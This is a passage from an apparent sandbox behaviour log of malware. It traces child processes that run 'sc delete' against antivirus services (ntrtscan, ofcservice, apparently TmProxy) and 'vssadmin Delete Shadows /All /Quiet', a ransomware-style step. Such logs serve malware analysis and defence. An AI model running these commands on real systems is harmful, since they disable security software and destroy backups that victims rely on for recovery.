returned -2 [0068.924] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.924] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.924] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.924] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.924] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.924] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.925] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.925] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.925] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.925] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.925] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.925] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.925] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.925] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.925] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.925] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x84370 [0068.929] OpenServiceW (hSCManager=0x84370, lpServiceName="TmProxy", dwDesiredAccess=0x10000) returned 0x0 [0068.930] GetLastError () returned 0x424 [0068.930] _itow (in: _Dest=0x424, _Radix=2030904 | out: _Dest=0x424) returned="1060" [0068.930] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffc5b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.932] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1efcf0, nSize=0x2, Arguments=0x1efd20 | out: lpBuffer="跀\x08") returned 0x62 [0068.933] GetFileType (hFile=0x120) returned 0x3 [0068.933] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x88ea0 [0068.933] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x88ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x08", lpUsedDefaultChar=0x0) returned 98 [0068.933] WriteFile (in: hFile=0x120, lpBuffer=0x88ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1efc98, lpOverlapped=0x0 | out: lpBuffer=0x88ea0*, lpNumberOfBytesWritten=0x1efc98*=0x62, lpOverlapped=0x0) returned 1 [0068.933] LocalFree (hMem=0x88ea0) returned 0x0 [0068.933] LocalFree (hMem=0x88dc0) returned 0x0 [0068.933] LocalFree (hMem=0x0) returned 0x0 [0068.933] CloseServiceHandle (hSCObject=0x84370) returned 1 [0068.935] exit (_Code=1060) Thread: id = 127 os_tid = 0xad0 Process: id = "64" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x36d1d000" os_pid = "0x8a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete ntrtscan" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 128 os_tid = 0x8c8 [0068.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xef8d0 | out: lpSystemTimeAsFileTime=0xef8d0*(dwLowDateTime=0xeb88ec30, dwHighDateTime=0x1d62701)) [0068.982] GetCurrentProcessId () returned 0x8a8 [0068.982] GetCurrentThreadId () returned 0x8c8 [0068.982] GetTickCount () returned 0x11483ff [0068.982] QueryPerformanceCounter (in: lpPerformanceCount=0xef8d8 | out: lpPerformanceCount=0xef8d8*=18918023276) returned 1 [0068.983] GetModuleHandleW (lpModuleName=0x0) returned 0xfff00000 [0068.983] __set_app_type (_Type=0x1) [0068.983] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff07228) returned 0x0 [0068.983] __wgetmainargs (in: _Argc=0xfff0b604, _Argv=0xfff0b610, _Env=0xfff0b608, _DoWildCard=0, _StartInfo=0xfff0b050 | out: _Argc=0xfff0b604, _Argv=0xfff0b610, _Env=0xfff0b608) returned 0 [0068.984] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.986] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.986] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.986] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.986] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.986] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.986] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.986] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.986] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.986] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.986] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.987] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.987] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.987] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.987] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.987] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.987] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.987] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.987] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.987] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.987] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.987] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.987] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.987] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.987] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x264370 [0068.992] OpenServiceW (hSCManager=0x264370, lpServiceName="ntrtscan", dwDesiredAccess=0x10000) returned 0x0 [0068.992] GetLastError () returned 0x424 [0068.992] _itow (in: _Dest=0x424, _Radix=980792 | out: _Dest=0x424) returned="1060" [0068.992] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfff0b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.994] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xef6f0, nSize=0x2, Arguments=0xef720 | out: lpBuffer="跀&") returned 0x62 [0068.994] GetFileType (hFile=0x120) returned 0x3 [0068.994] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x268ea0 [0068.994] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x268ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n&", lpUsedDefaultChar=0x0) returned 98 [0068.994] WriteFile (in: hFile=0x120, lpBuffer=0x268ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xef698, lpOverlapped=0x0 | out: lpBuffer=0x268ea0*, lpNumberOfBytesWritten=0xef698*=0x62, lpOverlapped=0x0) returned 1 [0068.995] LocalFree (hMem=0x268ea0) returned 0x0 [0068.995] LocalFree (hMem=0x268dc0) returned 0x0 [0068.995] LocalFree (hMem=0x0) returned 0x0 [0068.995] CloseServiceHandle (hSCObject=0x264370) returned 1 [0068.996] exit (_Code=1060) Thread: id = 129 os_tid = 0x898 Process: id = "65" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x36722000" os_pid = "0x928" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete ofcservice" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 130 os_tid = 0x9ec [0069.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfb50 | out: lpSystemTimeAsFileTime=0xcfb50*(dwLowDateTime=0xeb9271b0, dwHighDateTime=0x1d62701)) [0069.052] GetCurrentProcessId () returned 0x928 [0069.052] GetCurrentThreadId () returned 0x9ec [0069.052] GetTickCount () returned 0x114843d [0069.052] QueryPerformanceCounter (in: lpPerformanceCount=0xcfb58 | out: lpPerformanceCount=0xcfb58*=18925018191) returned 1 [0069.053] GetModuleHandleW (lpModuleName=0x0) returned 0xff320000 [0069.053] __set_app_type (_Type=0x1) [0069.053] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff327228) returned 0x0 [0069.053] __wgetmainargs (in: _Argc=0xff32b604, _Argv=0xff32b610, _Env=0xff32b608, _DoWildCard=0, _StartInfo=0xff32b050 | out: _Argc=0xff32b604, _Argv=0xff32b610, _Env=0xff32b608) returned 0 [0069.054] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.056] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.056] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0069.056] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0069.056] _wcsicmp (_String1="delete", _String2="query") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="start") returned -15 [0069.057] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0069.057] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0069.057] _wcsicmp (_String1="delete", _String2="control") returned 1 [0069.057] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0069.057] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0069.057] _wcsicmp (_String1="delete", _String2="config") returned 1 [0069.057] _wcsicmp (_String1="delete", _String2="description") returned -7 [0069.057] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0069.057] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0069.057] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0069.057] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0069.057] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0069.057] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0069.057] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0069.057] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0069.057] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0069.057] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0069.057] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1f4370 [0069.061] OpenServiceW (hSCManager=0x1f4370, lpServiceName="ofcservice", dwDesiredAccess=0x10000) returned 0x0 [0069.061] GetLastError () returned 0x424 [0069.061] _itow (in: _Dest=0x424, _Radix=850360 | out: _Dest=0x424) returned="1060" [0069.061] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff32b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0069.063] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcf970, nSize=0x2, Arguments=0xcf9a0 | out: lpBuffer="跀\x1f") returned 0x62 [0069.063] GetFileType (hFile=0x120) returned 0x3 [0069.063] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1f8ea0 [0069.063] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1f8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1f", lpUsedDefaultChar=0x0) returned 98 [0069.063] WriteFile (in: hFile=0x120, lpBuffer=0x1f8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcf918, lpOverlapped=0x0 | out: lpBuffer=0x1f8ea0*, lpNumberOfBytesWritten=0xcf918*=0x62, lpOverlapped=0x0) returned 1 [0069.063] LocalFree (hMem=0x1f8ea0) returned 0x0 [0069.063] LocalFree (hMem=0x1f8dc0) returned 0x0 [0069.064] LocalFree (hMem=0x0) returned 0x0 [0069.064] CloseServiceHandle (hSCObject=0x1f4370) returned 1 [0069.065] exit (_Code=1060) Thread: id = 131 os_tid = 0x908 Process: id = "66" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x36328000" os_pid = "0xa1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 132 os_tid = 0xaa0 Thread: id = 133 os_tid = 0xa0c Thread: id = 134 os_tid = 0x5f4 Thread: id = 135 os_tid = 0x5e4 Thread: id = 136 os_tid = 0xb60 Process: id = "67" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x36726000" os_pid = "0xb80" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "66" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005c461" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 137 os_tid = 0x304 Thread: id = 138 os_tid = 0x90 [0076.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf6db40 | out: lpSystemTimeAsFileTime=0xf6db40*(dwLowDateTime=0xec071510, dwHighDateTime=0x1d62701)) [0076.199] GetCurrentProcessId () returned 0xb80 [0076.199] GetCurrentThreadId () returned 0x90 [0076.199] GetTickCount () returned 0x114873a [0076.199] QueryPerformanceCounter (in: lpPerformanceCount=0xf6db48 | out: lpPerformanceCount=0xf6db48*=19639773261) returned 1 [0076.199] malloc (_Size=0x100) returned 0x428e80 Thread: id = 139 os_tid = 0x4fc Thread: id = 140 os_tid = 0x798 Thread: id = 141 os_tid = 0x34c Thread: id = 142 os_tid = 0x6f0 Thread: id = 143 os_tid = 0x314 Thread: id = 158 os_tid = 0x918 Thread: id = 168 os_tid = 0xb68 Thread: id = 175 os_tid = 0x5b4 Process: id = "68" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "67" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 144 os_tid = 0xaf0 Thread: id = 145 os_tid = 0x768 Thread: id = 146 os_tid = 0x764 Thread: id = 147 os_tid = 0x758 Thread: id = 148 os_tid = 0x724 Thread: id = 149 os_tid = 0x718 Thread: id = 150 os_tid = 0x714 Thread: id = 151 os_tid = 0x630 Thread: id = 152 os_tid = 0x154 Thread: id = 153 os_tid = 0x150 Thread: id = 154 os_tid = 0x120 Thread: id = 155 os_tid = 0x124 Thread: id = 156 os_tid = 0x118 Thread: id = 157 os_tid = 0xf0 Thread: id = 170 os_tid = 0xb64 Thread: id = 173 os_tid = 0x7f0 Process: id = "69" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x3722c000" os_pid = "0x808" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "67" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005c850" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 159 os_tid = 0x958 Thread: id = 160 os_tid = 0x8e8 Thread: id = 161 os_tid = 0x8b8 Thread: id = 162 os_tid = 0x888 Thread: id = 163 os_tid = 0x848 Thread: id = 164 os_tid = 0xbd8 Thread: id = 169 os_tid = 0xb88 Thread: id = 174 os_tid = 0xb34